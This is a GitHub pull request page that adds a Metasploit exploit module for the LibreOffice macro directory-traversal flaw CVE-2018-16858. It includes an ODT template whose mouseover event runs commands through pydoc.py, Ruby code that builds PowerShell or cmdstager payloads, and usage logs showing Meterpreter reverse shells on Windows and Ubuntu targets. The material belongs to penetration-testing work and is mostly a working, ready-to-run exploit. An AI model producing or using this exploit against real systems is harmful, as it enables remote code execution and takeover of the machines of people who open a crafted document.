Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Libreoffice macro exec exploit module #11729

Merged
merged 10 commits into from
Apr 17, 2019
Merged
46 changes: 46 additions & 0 deletions data/exploits/CVE-2018-16858/librefile.erb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
<office:scripts>
<office:script script:language="ooo:Basic">
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
<ooo:library-embedded ooo:name="Standard"/>
</ooo:libraries>
</office:script>
</office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
</office:text>
</office:body>
</office:document>
Original file line number Diff line number Diff line change
@@ -0,0 +1,98 @@
## Description

This module exploits a directory traversal vulnerability in LibreOffice `v6.1.0-6.1.2.1` that enables remote code execution.
Note: `6.0.x` and `6.1.3.x` versions are reportedly vulnerable to the directory traversal attack, but are not exploitable by
this module due to the lack of ability to pass arguments.

LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events
to them. A macro can be tied to a program event by including the script that contains the macro and the function
name to be executed. Additionally, a directory traversal vulnerability exists in the component that references the
Python script to be executed. This allows a program event to execute functions from Python scripts relative to the
path of the samples macros folder. The `pydoc.py` script included with LibreOffice contains the `tempfilepager` function
that passes arguments to `os.system`, allowing RCE.

This module generates an ODT file with a mouse over event that when triggered, will execute arbitrary code.

## Vulnerable Application

LibreOffice `v6.1.0-6.1.4.1`. Vulnerable versions for both Windows and Linux can be found [here](https://downloadarchive.documentfoundation.org/libreoffice/old/).

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: ```use exploit/multi/fileformat/libreoffice_macro_exec```
4. Do: ```set FILENAME <name>```
5. Do: ```set LHOST <ip>```
6. Do: ```set LPORT <port>```
7. Do: ```run```
8. Move the generated file to the target
9. Start a handler
10. Open the file with a vulnerable version of LibreOffice
11. You should get a shell.

## Scenarios

### Tested on LibreOffice 6.1.2.1 running Windows 7

```
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run

[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (179779 bytes) to 192.168.37.156
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.156:49180) at 2019-04-12 15:14:04 -0500

meterpreter > getuid
Server username: WIN-MGMN7ND70I1\a_user
meterpreter > sysinfo
Computer : WIN-MGMN7ND70I1
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
```

### Tested on LibreOffice 6.1.0.1 running Ubuntu 18.04

```
msf5 > use exploit/multi/fileformat/libreoffice_macro_exec
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set target 1
target => 1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > run

[+] librefile.odt stored at /Users/space/.msf4/local/librefile.odt
msf5 exploit(multi/fileformat/libreoffice_macro_exec) > use multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.37.1
LHOST => 192.168.37.1
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Sending stage (985320 bytes) to 192.168.37.174
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.174:39912) at 2019-04-12 14:50:08 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 192.168.37.174
OS : Ubuntu 18.04 (Linux 4.18.0-16-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```
113 changes: 113 additions & 0 deletions modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'LibreOffice Macro Code Execution',
'Description' => %q{
LibreOffice comes bundled with sample macros written in Python and
allows the ability to bind program events to them. A macro can be tied
to a program event by including the script that contains the macro and
the function name to be executed. Additionally, a directory traversal
vulnerability exists in the component that references the Python script
to be executed. This allows a program event to execute functions from Python
scripts relative to the path of the samples macros folder. The pydoc.py script
included with LibreOffice contains the tempfilepager function that passes
arguments to os.system, allowing RCE.

This module generates an ODT file with a mouse over event that
when triggered, will execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alex Inführ', # Vulnerability discovery and PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-16858' ],
[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]
],
'Platform' => [ 'win', 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
Copy link
Member

@busterb busterb Apr 17, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

While 'Arch' here seems to indicate I can select a 64-bit payload, the targets below restrict this to just 32-bit.

I wonder if you couldn't just use 'ARCH_ALL', since I don't think it actually matters for this exploit.

'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' => 'windows/meterpreter/reverse_tcp'
}
],
[
'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => 'linux/x86/meterpreter/reverse_tcp',
'CmdStagerFlavor' => 'printf'
}
]
],
'DisclosureDate' => "Oct 18, 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])
])
end

def gen_windows_cmd
opts =
{
:remove_comspec => true,
:method => 'reflection',
:encode_final_payload => true
}
@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)
@cmd << ' &amp;&amp; echo'
end

def gen_linux_cmd
@cmd = generate_cmdstager.first
@cmd << ' &amp;&amp; echo'
end

def gen_file(path)
text_content = Rex::Text.rand_text_alpha(10..15)

# file from Alex Inführ's PoC post referenced above
fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))
libre_file = ERB.new(fodt_file).result(binding())
libre_file
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'Cannot find template file')
end

def exploit
path = '../../../program/python-core-3.5.5/lib/pydoc.py'
if datastore['TARGET'] == 0
gen_windows_cmd
elsif datastore['TARGET'] == 1
gen_linux_cmd
else
fail_with(Failure::BadConfig, 'A formal target was not chosen.')
end
fodt_file = gen_file(path)

file_create(fodt_file)
end
end